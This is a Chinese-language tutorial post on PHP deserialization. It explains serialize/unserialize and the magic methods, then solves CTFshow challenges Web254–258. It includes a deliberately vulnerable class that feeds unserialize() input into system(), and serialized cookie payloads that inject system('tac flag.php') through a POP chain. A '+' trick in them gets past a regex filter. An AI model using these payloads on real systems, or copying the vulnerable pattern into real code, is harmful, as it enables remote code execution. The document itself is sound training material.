Day60：WEB攻防-PHP反序列化POP链构造魔术方法流程漏洞触发条件属性修改

news2024/11/15 13:44:20

目录

PHP-DEMO1-序列化和反序列化

序列化操作 - 即类型转换

序列化案例

PHP-DEMO2-魔术方法触发规则

__construct(): //当对象new的时候会自动调用

__destruct()：//当对象被销毁时会被自动调用

__sleep(): //serialize()执行时被自动调用

__wakeup(): //unserialize()时会被自动调用

__invoke(): //把对象当作函数调用时触发

__toString(): //把对象当作字符串使用时触发

__call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。

__get(): //读取对象属性时,若存在,则返回属性值;若不存在，则会调用__get函数

__set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用__set函数。

__isset(): //在不可访问的属性(私有的)上调用isset()或empty()触发(isset和empty是一样的)

__unset(): //在不可访问的属性上使用unset()时触发

PHP-DEMO3-反序列化漏洞产生

PHP-CTFSHOW-POP触发链构造

Web254-对象引用执行逻辑

Web255-反序列化变量修改

Web256-反序列化参数修改

Web257-反序列化参数修改&对象调用逻辑

Web258-反序列化参数修改&对象调用逻辑&正则

知识点：

1、PHP-反序列化-应用&识别&函数

2、PHP-反序列化-魔术方法&触发规则

3、PHP-反序列化-联合漏洞&POP链构造

在实战情况下，是不需要知道这些具体分析的，都是利用工具去扫一些框架爆出的反序列话漏洞直接利用即可。学这些具体分析就是为了以后往漏洞挖掘方向发展或者打CTF比赛及面试会被问。

PHP-DEMO1-序列化和反序列化

序列化的原因：为了解决开发中数据传输和数据解析的一个情况(类似于要发送一个椅子快递，不可能整个椅子打包发送，这是非常不方便的，所以就要对椅子进行序列化处理，让椅子分成很多部分在一起打包发送，到目的后重新组装，也就是反序列化处理)

在PHP中，调用serialize()函数时，会将对象的属性进行序列化，但不会序列化对象的方法（函数）。

  1. 当调用serialize()函数时，它会将对象的属性转换为字符串表示，并存储在序列化的结果中。这样可以将对象保存在文件中、通过网络传输或在不同的请求之间传递。
  2. 然而，对象的方法（函数）不会被序列化。这是因为方法（函数）在PHP中通常是定义在类中，而类是对象的模板。当对象被反序列化时，PHP会根据对象所属的类重新创建对象，并将对象的属性值填充到相应的属性中。方法（函数）则是与类关联的，因此不需要被序列化和存储。
  3. 需要注意的是，当使用反序列化函数unserialize()将序列化的数据还原为对象时，被反序列化的类必须在反序列化之前先定义，否则会出现错误。因此，在进行反序列化操作时，确保对象所属的类已经被定义是非常重要的。

序列化操作 - 即类型转换

PHP & JavaEE & Python（见图）

序列化：对象转换为数组或字符串等格式  

反序列化：将数组或字符串等格式转换成对象

PHP对象转换为字符串格式

serialize()     //将对象转换成一个字符串
unserialize()   //将字符串还原成一个对象

序列化案例

代码如下：

<?php
header("Content-type: text/html; charset=utf-8");


class user{
    public $name='xiaodi';
    public $sex='man';
    public $age=31;
}

$demo=new user();

$s=serialize($demo);//序列化

$u=unserialize($s);//反序列化

echo $s.'<br>';

var_dump($u);

对象序列化后的数据：对象转为字符串，便于传输数据

序列化数据反序列化：字符串格式数据转换为对象

PHP-DEMO2-魔术方法触发规则

常见的魔术方法：

  • __construct(): //当对象new的时候会自动调用
  • __destruct()：//当对象被销毁时会被自动调用
  • __sleep(): //serialize()执行时被自动调用
  • __wakeup(): //unserialize()时会被自动调用
  • __invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用
  • __toString(): //把类当作字符串使用时触发
  • __call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。
  • __callStatic(): //在静态上下文中调用不可访问的方法时触发
  • __get(): //读取对象属性时,若存在,则返回属性值;若不存在，则会调用__get函数
  • __set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用__set函数。
  • __isset(): //在不可访问的属性上调用isset()或empty()触发
  • __unset(): //在不可访问的属性上使用unset()时触发
  • __set_state()，调用var_export()导出类时，此静态方法会被调用
  • __clone()，当对象复制完成时调用
  • __autoload()，尝试加载未定义的类
  • __debugInfo()，打印所需调试信息
     

__construct(): //当对象new的时候会自动调用

__destruct()：//当对象被销毁时会被自动调用

代码如下：

<?php
header("Content-type: text/html; charset=utf-8");

//__construct __destruct 魔术方法 创建调用__construct 2种销毁调用__destruct
class Test{
    public $name;
    public $age;
    public $string;
    // __construct：实例化对象时被调用.其作用是拿来初始化一些值。
    public function __construct($name, $age, $string){
        echo "__construct 初始化"."<br>";
    }
    // __destruct：当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
    /*
     * 当对象销毁时会调用此方法
     * 一是用户主动销毁对象，二是当程序结束时由引擎自动销毁
     */
    function __destruct(){
       echo "__destruct 类执行完毕"."<br>";
    }
}

// 主动销毁
$test = new Test("xiaodi",31, 'Test String');
// 使用unset函数可以立即释放一个变量的内存，使其成为不可访问和不可用的状态。
unset($test);
echo '第一种执行完毕'.'<br>';
echo '----------------------<br>';

//程序结束自动销毁
$test = new test("xiaodi",31, 'Test String');
echo '第二种执行完毕'.'<br>';


?>

结果如下：

__sleep(): //serialize()执行时被自动调用

代码如下：

<?php

//__sleep()：serialize之前被调用，可以指定要序列化的对象属性。
class Test{
    public $name;
    public $age;
    public $string;

    // __construct：实例化对象时被调用.其作用是拿来初始化一些值。
    public function __construct($name, $age, $string){
        echo "__construct 初始化"."<br>";
        $this->name = $name;
        $this->age = $age;
        $this->string = $string;
    }

    //  __sleep() ：serialize之前被调用，可以指定要序列化的对象属性
    public function __sleep(){
        echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>";
        // 例如指定只需要 name 和 age 进行序列化，必须返回一个数值
        return array('name', 'age','string');
    }
}

$a = new Test("xiaodi",31, 'good teacher');
echo serialize($a);

?>

结果如下：

__wakeup(): //unserialize()时会被自动调用

代码如下：

<?php

//__wakeup：反序列化恢复对象之前调用该方法
class Test{
    public $sex;
    public $name;
    public $age;

    public function __construct($name, $age, $sex){
        echo "__construct被调用!<br>";
    }

    public function __wakeup(){
        echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>";
    }
}

$person = new Test('xiaodi',31,'男');
$a = serialize($person);
unserialize($a);

?>

结果如下：

__invoke(): //把对象当作函数调用时触发

代码如下：

<?php

//__INVOKE():将对象当做函数来使用时执行此方法，通常不推荐这样做。
class Test{
    // _invoke()：以调用函数的方式调用一个对象时，__invoke() 方法会被自动调用
    public function __invoke($param1, $param2, $param3){
        echo "这是一个对象<br>";
        // var_dump函数是一个用于调试的函数，它将输出给定变量的类型、值和其他相关信息
        var_dump($param1,$param2,$param3);
    }
}

$a  = new Test();
//将对象当做函数调用 触发__invoke魔术方法
$a('xiaodi',31,'男');

?>

结果如下：

__toString(): //把对象当作字符串使用时触发

代码如下：

<?php 

//__toString()：如果一个对象类中存在__toString魔术方法，这个对象类被当做字符串进行处理时，就会触发__toString魔术方法
class Test
{
    public $variable = 'good is string';

    public function good(){
        echo $this->variable . '<br />';
    }

    // 在对象当做字符串的时候会被调用
    public function __toString(){
        return '__toString魔术方法被执行！';
    }
}

$a = new Test();
// 输出对象a就是把a当作字符串输出，触发toString()
echo $a;

?>

结果如下：

__call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。

代码如下：

<?php

//__CALL 魔术方法 调用某个方法， 若方法存在，则直接调用；若不存在，则会去调用__call函数。
class Test{

    public function good($number,$string){
        echo '存在good方法'.'<br>';
        echo $number.'---------'.$string.'<br>';
    }

    // 当调用类中不存在的方法时，就会调用__call();
    public function __call($method,$args){
        echo '不存在'.$method.'方法'.'<br>';
        var_dump($args);
    }
}

$a = new Test();
$a->good(1,'xiaodisec');
// 不存在xiaodi方法 触发__call魔术方法
$b = new Test();
$b->xiaodi(899,'no');

?>

结果如下：

__get(): //读取对象属性时,若存在,则返回属性值;若不存在，则会调用__get函数

代码如下：

<?php

//__get() 魔术方法 读取一个对象的属性时，若属性存在，则直接返回属性值；若不存在，则会调用__get函数
class Test {
    public $n=1233234;

    // __get()：访问不存在的成员变量时调用
    public function __get($name){
        echo '__get 不存在成员变量'.$name.'<br>';
    }
}

$a = new Test();
// 存在成员变量n，所以不调用__get
echo $a->n;
echo '<br>';
// 不存在成员变量spaceman，所以调用__get
echo $a->xiaodi;

?>

结果如下：

__set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用__set函数。

代码如下：

<?php

//__set()魔术方法 设置一个对象的属性时， 若属性存在，则直接赋值；若不存在，则会调用__set函数。
class Test{
    public $noway=0;

    // __set()：设置对象不存在的属性或无法访问(私有)的属性时调用
    /* __set($name, $value)
     * 用来为私有成员属性设置的值
     * 第一个参数为你要为设置值的属性名，第二个参数是要给属性设置的值，没有返回值。
     * */

    public function __set($name,$value){
        echo '__set 不存在成员变量 '.$name.'<br>';
        echo '即将设置的值 '.$value."<br>";
        $this->noway=$value;
    }

    public function Get(){
        echo $this->noway;
    }
}

$a = new Test();
// 访问noway属性时调用，并设置值为899
$a->noway  = 123;
// 经过__set方法的设置noway的值为899
$a->Get();
echo '<br>';
// 设置对象不存在的属性xiaodi
$a->xiaodi = 31;
// 经过__set方法的设置noway的值为31
$a->Get();

?>

结果如下：

__isset(): //在不可访问的属性(私有的)上调用isset()或empty()触发(isset和empty是一样的)

代码如下：

<?php

//__isset(): 检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时，__isset() 会被调用
class Person{
    public $sex; //公共的
    private $name; //私有的
    private $age; //私有的

    public function __construct($name, $age, $sex){
        $this->name = $name;
        $this->age = $age;
        $this->sex = $sex;
    }

    // __isset()：当对不可访问属性调用 isset() 或 empty() 时，__isset() 会被调用。
    public function __isset($content){
        echo "当在类外部使用isset()函数测定私有成员 {$content} 时，自动调用<br>";
        echo "123<br>";
        return isset($this->$content);
    }
}

$person = new Person("xiaodi", 31,'男');
// public 成员
echo ($person->sex),"<br>";
// isset函数用于检测一个变量是否已经设置并且不为null。
echo isset($person->name),"<br>";  // 输出为123，1
echo empty($person->sex),"<br>"; //访问public，不会触发-isset()
// private 成员
echo isset($person->name),"<br>";
echo empty($person->age),"<br>";

?>

结果如下：

__unset(): //在不可访问的属性上使用unset()时触发

代码如下：

<?php

//__unset()：在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数
class Person{
    public $sex;
    private $name;
    private $age;

    public function __construct($name, $age, $sex){
        $this->name = $name;
        $this->age = $age;
        $this->sex = $sex;
    }

    // __unset()：销毁对象的某个属性时执行此函数
    public function __unset($content) {
        echo "当在类外部使用unset()函数来删除私有成员 {$content} 时自动调用的<br>";
        //echo isset($this->$content)."<br>";
    }
}

$person = new Person("xiaodi", 31,"男"); // 初始赋值
unset($person->sex);//不调用 属性共有
unset($person->name);//调用 属性私有 触发__unset
unset($person->age);//调用 属性私有 触发__unset

?>

结果如下：

总代码如下：

<?php
header("Content-type: text/html; charset=utf-8");

__construct __destruct 魔术方法 创建调用__construct 2种销毁调用__destruct
//class Test{
//    public $name;
//    public $age;
//    public $string;
//    // __construct：实例化对象时被调用.其作用是拿来初始化一些值。
//    public function __construct($name, $age, $string){
//        echo "__construct 初始化"."<br>";
//    }
//    // __destruct：当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
//    /*
//     * 当对象销毁时会调用此方法
//     * 一是用户主动销毁对象，二是当程序结束时由引擎自动销毁
//     */
//    function __destruct(){
//       echo "__destruct 类执行完毕"."<br>";
//    }
//}
//
 主动销毁
//$test = new Test("xiaodi",31, 'Test String');
 使用unset函数可以立即释放一个变量的内存，使其成为不可访问和不可用的状态。
//unset($test);
//echo '第一种执行完毕'.'<br>';
//echo '----------------------<br>';
//
程序结束自动销毁
//$test = new test("xiaodi",31, 'Test String');
//echo '第二种执行完毕'.'<br>';

__sleep()：serialize之前被调用，可以指定要序列化的对象属性。
//class Test{
//    public $name;
//    public $age;
//    public $string;
//
//    // __construct：实例化对象时被调用.其作用是拿来初始化一些值。
//    public function __construct($name, $age, $string){
//        echo "__construct 初始化"."<br>";
//        $this->name = $name;
//        $this->age = $age;
//        $this->string = $string;
//    }
//
//    //  __sleep() ：serialize之前被调用，可以指定要序列化的对象属性
//    public function __sleep(){
//        echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>";
//        // 例如指定只需要 name 和 age 进行序列化，必须返回一个数值
//        return array('name', 'age','string');
//    }
//}
//
//$a = new Test("xiaodi",31, 'good teacher');
//echo serialize($a);


__wakeup：反序列化恢复对象之前调用该方法
//class Test{
//    public $sex;
//    public $name;
//    public $age;
//
//    public function __construct($name, $age, $sex){
//        echo "__construct被调用!<br>";
//    }
//
//    public function __wakeup(){
//        echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>";
//    }
//}
//
//$person = new Test('xiaodi',31,'男');
//$a = serialize($person);
//unserialize($a);


__INVOKE():将对象当做函数来使用时执行此方法，通常不推荐这样做。
//class Test{
//    // _invoke()：以调用函数的方式调用一个对象时，__invoke() 方法会被自动调用
//    public function __invoke($param1, $param2, $param3){
//        echo "这是一个对象<br>";
//        // var_dump函数是一个用于调试的函数，它将输出给定变量的类型、值和其他相关信息
//        var_dump($param1,$param2,$param3);
//    }
//}
//
//$a  = new Test();
将对象当做函数调用 触发__invoke魔术方法
//$a('xiaodi',31,'男');


__toString()：如果一个对象类中存在__toString魔术方法，这个对象类被当做字符串进行处理时，就会触发__toString魔术方法
//class Test
//{
//    public $variable = 'good is string';
//
//    public function good(){
//        echo $this->variable . '<br />';
//    }
//
//    // 在对象当做字符串的时候会被调用
//    public function __toString(){
//        return '__toString魔术方法被执行！';
//    }
//}
//
//$a = new Test();
 输出对象a就是把a当作字符串输出，触发toString()
//echo $a;


__CALL 魔术方法 调用某个方法， 若方法存在，则直接调用；若不存在，则会去调用__call函数。
//class Test{
//
//    public function good($number,$string){
//        echo '存在good方法'.'<br>';
//        echo $number.'---------'.$string.'<br>';
//    }
//
//    // 当调用类中不存在的方法时，就会调用__call();
//    public function __call($method,$args){
//        echo '不存在'.$method.'方法'.'<br>';
//        var_dump($args);
//    }
//}
//
//$a = new Test();
//$a->good(1,'xiaodisec');
 不存在xiaodi方法 触发__call魔术方法
//$b = new Test();
//$b->xiaodi(899,'no');



__get() 魔术方法 读取一个对象的属性时，若属性存在，则直接返回属性值；若不存在，则会调用__get函数
//class Test {
//    public $n=1233234;
//
//    // __get()：访问不存在的成员变量时调用
//    public function __get($name){
//        echo '__get 不存在成员变量'.$name.'<br>';
//    }
//}
//
//$a = new Test();
 存在成员变量n，所以不调用__get
//echo $a->n;
//echo '<br>';
 不存在成员变量spaceman，所以调用__get
//echo $a->xiaodi;


__set()魔术方法 设置一个对象的属性时， 若属性存在，则直接赋值；若不存在，则会调用__set函数。
//class Test{
//    public $noway=0;
//
//    // __set()：设置对象不存在的属性或无法访问(私有)的属性时调用
//    /* __set($name, $value)
//     * 用来为私有成员属性设置的值
//     * 第一个参数为你要为设置值的属性名，第二个参数是要给属性设置的值，没有返回值。
//     * */
//
//    public function __set($name,$value){
//        echo '__set 不存在成员变量 '.$name.'<br>';
//        echo '即将设置的值 '.$value."<br>";
//        $this->noway=$value;
//    }
//
//    public function Get(){
//        echo $this->noway;
//    }
//}
//
//$a = new Test();
 访问noway属性时调用，并设置值为899
//$a->noway  = 123;
 经过__set方法的设置noway的值为899
//$a->Get();
//echo '<br>';
 设置对象不存在的属性xiaodi
//$a->xiaodi = 31;
 经过__set方法的设置noway的值为31
//$a->Get();



__isset(): 检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时，__isset() 会被调用
//class Person{
//    public $sex; //公共的
//    private $name; //私有的
//    private $age; //私有的
//
//    public function __construct($name, $age, $sex){
//        $this->name = $name;
//        $this->age = $age;
//        $this->sex = $sex;
//    }
//
//    // __isset()：当对不可访问属性调用 isset() 或 empty() 时，__isset() 会被调用。
//    public function __isset($content){
//        echo "当在类外部使用isset()函数测定私有成员 {$content} 时，自动调用<br>";
//        echo "123<br>";
//        return isset($this->$content);
//    }
//}
//
//$person = new Person("xiaodi", 31,'男');
 public 成员
//echo ($person->sex),"<br>";
 isset函数用于检测一个变量是否已经设置并且不为null。
//echo isset($person->name),"<br>";  // 输出为123，1
//echo empty($person->sex),"<br>"; //访问public，不会触发-isset()
 private 成员
//echo isset($person->name),"<br>";
//echo empty($person->age),"<br>";


__unset()：在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数
//class Person{
//    public $sex;
//    private $name;
//    private $age;
//
//    public function __construct($name, $age, $sex){
//        $this->name = $name;
//        $this->age = $age;
//        $this->sex = $sex;
//    }
//
//    // __unset()：销毁对象的某个属性时执行此函数
//    public function __unset($content) {
//        echo "当在类外部使用unset()函数来删除私有成员 {$content} 时自动调用的<br>";
//        //echo isset($this->$content)."<br>";
//    }
//}
//
//$person = new Person("xiaodi", 31,"男"); // 初始赋值
//unset($person->sex);//不调用 属性共有
//unset($person->name);//调用 属性私有 触发__unset
//unset($person->age);//调用 属性私有 触发__unset






?>

PHP-DEMO3-反序列化漏洞产生

漏洞原理：

  • 未对用户输入的序列化字符串进行检测，导致攻击者可以控制反序列化过程，从而导致代码执行，SQL注入，目录遍历等不可控后果。
  • 在反序列化的过程中自动触发了某些魔术方法。
  • 当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

测试代码：

<?php

class B{
    public $cmd='ipconfig';
    public function __destruct(){
        system($this->cmd);
    }
}
//函数引用，无对象创建触发魔术方法
unserialize($_GET['x']);

?>

构造POP链，在构造对象时，只需要考虑成员属性(变量)即可

<?php

class B{
    public $cmd = 'ver';
    }

$x = new B();
echo serialize($x);

?>

利用paylaod：?x=O:1:"B":1:{s:3:"cmd";s:3:"ver";}

也可以跟换别的命令：

总体代码如下：

<?php
class B{
    public $cmd='ipconfig';
    public function __destruct(){  // 对象销毁调用，即该脚本<?php执行结束时，触发
        system($this->cmd);
    }
}
//函数引用，无对象创建触发魔术方法
unserialize($_GET['x']);


//?x=O:1:"B":0:{}
//?x=O:1:"B":1:{s:3:"cmd";s:3:"ver";}

//POP链构造

//class B{
//    public $cmd = 'ver';  // 值我们自己规定，序列化后就是我们的值
//    }
//
//$x = new B();
//echo serialize($x);

//?x=O:1:"B":0:{}
//?x=O:1:"B":1:{s:3:"cmd";s:3:"ver";}

?>

PHP-CTFSHOW-POP触发链构造

POP：面向属性编程（Property-Oriented Programing）常用于上层语言构造特定调用链的方法，序列化攻击都在PHP魔术方法中出现可利用的漏洞，因自动调用触发漏洞，但如关键代码没在魔术方法中，而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。

反序列化常见起点：

反序列化常见跳板：

反序列化常见重点：

pop链构造核心：代码中有用的留下，没用的删掉

Web254-对象引用执行逻辑

payload：username=xxxxxx&password=xxxxxx

Web255-反序列化变量修改

PHP在线执行：https://www.bejson.com/runcode/php/

根据验证逻辑，使用正确账号密码，序列化对象ctfShowUser , isvip = True;

// POP链CODE:
// 1、不修改代码的用户密码
<?php
class ctfShowUser{
    public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>

生成对象的反序列化

O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

URL解码一下：

O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}

再login()验证逻辑中，username，password 是从Get请求中提取的值与对象里的值做比对

POP链CODE:
2、修改代码的用户密码
<?php
class ctfShowUser{
    public $username='test';
    public $password='test123';
    public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>

Get:username=test&password=test123

Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22password%22%3Bs%3A7%3A%22test123%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

URL解码：

O:11:"ctfShowUser":3:{s:8:"username";s:4:"test";s:8:"password";s:7:"test123";s:5:"isVip";b:1;}

补充一下：

  • error_reporting(0)：这是一个PHP错误报告级别设置的语句。通过将参数设置为0，即禁用错误报告，PHP将不会显示任何错误信息。这在某些情况下可能是有用的，例如在生产环境中隐藏敏感信息或减少不必要的输出。
  • highlight_file(__FILE__)：这是一个PHP函数调用，用于将当前文件的源代码以语法高亮的形式输出到浏览器。__FILE__ 是一个魔术常量，表示当前所执行的文件的绝对路径。highlight_file() 函数将读取该文件的内容，并使用颜色突出显示代码的不同部分，以增强可读性。

Web256-反序列化参数修改

POP链CODE:
<?php
class ctfShowUser{
    public $username='test';
    public $password='test1';
    public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>

GET:username=test&password=test1

COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%22test1%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

Web257-反序列化参数修改&对象调用逻辑

思路：敏锐发现 backDoor.getInfo() 由RCE，但是验证逻辑无法调用，观察到魔术方法 __destruct() 可以调用 getInfo() 函数。

当我们说PHP是一种弱类型语言时，意味着PHP在变量的类型上相对灵活，不需要在声明变量时显式指定其类型。以下是关于PHP弱类型的一些特点：

  1. 隐式类型转换：PHP可以自动进行类型转换，例如将字符串自动转换为数值类型，或将布尔值自动转换为整数。这样的隐式类型转换可以在一定程度上简化代码，但也可能导致意外的结果。
  2. 动态类型：PHP变量的类型可以在运行时根据赋值操作而改变。例如，一个变量可以先存储一个整数值，然后再存储一个字符串值，而无需显式声明类型。
  3. 弱类型比较：在PHP中，可以进行不同类型之间的比较操作，例如将一个字符串与一个整数进行比较。这种比较会自动进行类型转换，根据具体情况确定比较结果。
  4. 隐式类型转换的注意事项：尽管弱类型可以带来便利，但也需要注意一些潜在的问题。隐式的类型转换可能导致错误或意外的结果，尤其是在处理复杂的逻辑和算术运算时。

也就是说类里的数据类型不是严格的，那么可以构造 backDoor 类对象作为 ctfshowUser 的成员变量，当代码逻辑执行完后，销毁 ctfShowUser 后就会调用到 backDoor.getInfo()方法。

// POP链CODE：
<?php
class ctfShowUser{
    public $class = 'backDoor';
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code='system("tac flag.php");';
    
}
echo urlencode(serialize(new ctfShowUser));
?>

序列化数据：

O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D

URL解码

O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:23:"system("tac flag.php");";}}

Web258-反序列化参数修改&对象调用逻辑&正则

// POP链CODE：
<?php
class ctfShowUser{
    public $class = 'backDoor';
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code="system('tac flag.php');";
}
$a=serialize(new ctfShowUser());
$b=str_replace(':11',':+11',$a);
$c=str_replace(':8',':+8',$b);
echo urlencode($c);
?>

GET:username=123&password=123

COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1539090.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

程序员表白

程序员表白

啥&#xff1f;&#xff01;你说程序员老实&#xff0c;认真工作&#xff0c;根本不会什么表白&#xff01;那你就错了&#xff01;(除了我) 那今天我们就来讲一下这几个代码&#xff01;赶紧复制下来&#xff0c;这些代码肯定有你有用的时候&#xff01; 1.Python爱心代码 im…
阅读更多...
MNN 执行推理（九）

MNN 执行推理（九）

系列文章目录 MNN createFromBuffer&#xff08;一&#xff09; MNN createRuntime&#xff08;二&#xff09; MNN createSession 之 Schedule&#xff08;三&#xff09; MNN createSession 之创建流水线后端&#xff08;四&#xff09; MNN Session 之维度计算&#xff08;五…
阅读更多...
墨菲安全在软件供应链安全领域阶段性总结及思考

墨菲安全在软件供应链安全领域阶段性总结及思考

向外看&#xff1a;墨菲安全在软件供应链安全领域的一些洞察、思考、行动 洞察 现状&挑战&#xff1a; 过去开发安全体系是无法解决软件供应链安全问题的&#xff1b;一些过去专注开发安全领域的厂商正在错误的引导行业用开发安全思维解决软件供应链安全问题&#xff0c;治…
阅读更多...
Linux：详解https协议

Linux：详解https协议

文章目录 什么是https协议信息窃取常见的加密数据摘要和数据指纹https的工作过程只使用对称加密只使用非对称加密都使用非对称加密非对称加密对称加密 证书数据签名https方案 本篇要总结的内容是关于https协议的相关内容 什么是https协议 在讲述https协议之前&#xff0c;首先…
阅读更多...
Linux镜像文件下载地址--SCAS 开源镜像站，速度快

Linux镜像文件下载地址--SCAS 开源镜像站，速度快

SCAS 开源镜像站 https://mirror.iscas.ac.cn/举例&#xff1a; 下载centos7 Index of /centos/7/isos/x86_64/ (iscas.ac.cn)
阅读更多...
【C++算法】二分算法、二分模板详解，四道例题带详细注释

【C++算法】二分算法、二分模板详解，四道例题带详细注释

文章目录 [toc]1&#xff09;整数二分2&#xff09;解二分题步骤AcWing 789.数的范围洛谷 P1873.EKO/砍树洛谷 P1678.烦恼的高考志愿 2&#xff09;浮点二分AcWing 790. 数的三次方根 1&#xff09;整数二分 有单调性的题目一定可以二分&#xff0c;但是用二分做的题目不一定拥…
阅读更多...
Linux初学（八）磁盘管理

Linux初学（八）磁盘管理

一、磁盘管理 1.1 简介 磁盘的工作原理&#xff1a; 添加磁盘对磁盘进行分区格式化磁盘挂载和使用磁盘 磁盘的类型&#xff1a; 固态机械 磁盘的接口类型&#xff1a; IDESTSTSCSI 磁盘工作的原理&#xff1a; 磁盘&#xff0c;特别是硬盘&#xff0c;和内存不同&#xff0c;…
阅读更多...
【Bug】记录2024年遇到的Bug以及修复方案

【Bug】记录2024年遇到的Bug以及修复方案

--------------------------------------------------------分割线 2024.3.22------------------------------------------------------- 1、load_sample_image raise AttributeError(“Cannot find sample image: %s” % image_name) AttributeError: Cannot find sample ima…
阅读更多...
nvidia显卡如何安装cuda驱动

nvidia显卡如何安装cuda驱动

目录 查看显卡对应的cuda版本下载与你显卡匹配的CUDA Toolkit 查看显卡对应的cuda版本 按 微软 R 键&#xff0c;输入cmd 然后输入 nvidia-smi &#xff0c;回车显示下面信息&#xff1a; 看到 CUDA Version 为 12.2 下载与你显卡匹配的CUDA Toolkit 打开网页&#xff1a…
阅读更多...
鸿蒙Harmony应用开发—ArkTS-@AnimatableExtend装饰器：定义可动画属性

鸿蒙Harmony应用开发—ArkTS-@AnimatableExtend装饰器：定义可动画属性

AnimatableExtend装饰器用于自定义可动画的属性方法&#xff0c;在这个属性方法中修改组件不可动画的属性。在动画执行过程时&#xff0c;通过逐帧回调函数修改不可动画属性值&#xff0c;让不可动画属性也能实现动画效果。 可动画属性&#xff1a;如果一个属性方法在animation…
阅读更多...
C++默认构造函数（二）

C++默认构造函数（二）

目录 构造函数补充 构造函数初始化列表的使用 赋值运算符重载函数 运算符重载函数介绍 运算符重载函数的使用 赋值运算符重载函数 赋值运算符重载函数的使用 拷贝构造函数和赋值运算符重载函数 重载前置和后置 前置 后置 重载流插入<<与流提取>> 流插…
阅读更多...
C++ 其它

C++ 其它

1、内存四区-代码区 2、内存四区-全局区 生成exe后&#xff0c;运行前是代码区和全局区 3、内存四区-栈区 4、内存四区-堆区 5、new *new一个整型10&#xff0c;返回的是该数据类型的指针&#xff0c;所以用int p 所以是int [10]&#xff0c;所以new的是int[10]&#x…
阅读更多...
3.23项目：聊天室

3.23项目：聊天室

1、 基于UDP的网络聊天室 项目需求&#xff1a; 如果有用户登录&#xff0c;其他用户可以收到这个人的登录信息如果有人发送信息&#xff0c;其他用户可以收到这个人的群聊信息如果有人下线&#xff0c;其他用户可以收到这个人的下线信息服务器可以发送系统信息 服务器 #inc…
阅读更多...
东方博宜 1469. 数的统计

东方博宜 1469. 数的统计

东方博宜 1469. 数的统计 #include<iostream> using namespace std; int main() {int n ;cin >> n ;int x ;cin >> x ;int cnt ;cnt 0;for (int i 1 ; i < n ; i){int num ;num i ;while(num!0){int g ;g num % 10 ;if (g x)cnt 1 ;num num / 10…
阅读更多...
springboot294基于java的火车票订票系统的设计与实现

springboot294基于java的火车票订票系统的设计与实现

火车票订票系统设计与实现 摘 要 传统办法管理信息首先需要花费的时间比较多&#xff0c;其次数据出错率比较高&#xff0c;而且对错误的数据进行更改也比较困难&#xff0c;最后&#xff0c;检索数据费事费力。因此&#xff0c;在计算机上安装火车票订票系统软件来发挥其高效…
阅读更多...
ElasticSearch首次启动忘记密码，更改密码（Windows 10）

ElasticSearch首次启动忘记密码，更改密码（Windows 10）

先启动ElasticSearch 启动方式cmd到lasticsearch-8.12.2\bin目录下输入elasticsearch 启动成功后新开一个窗口输入elasticsearch-reset-password -u elastic
阅读更多...
《剑指 Offer》专项突破版 - 面试题 88 : 动态规划的基础知识（C++ 实现）

《剑指 Offer》专项突破版 - 面试题 88 : 动态规划的基础知识（C++ 实现）

目录 前言 面试题 88 : 爬楼梯的最少成本 一、分析确定状态转移方程 二、递归代码 三、使用缓存的递归代码 四、空间复杂度为 O(n) 的迭代代码 五、空间复杂度为 O(1) 的迭代代码 前言 动态规划是目前算法面试中的热门话题&#xff0c;应聘者经常在各大公司的面试中遇到…
阅读更多...
C++ —— 日期计算器

C++ —— 日期计算器

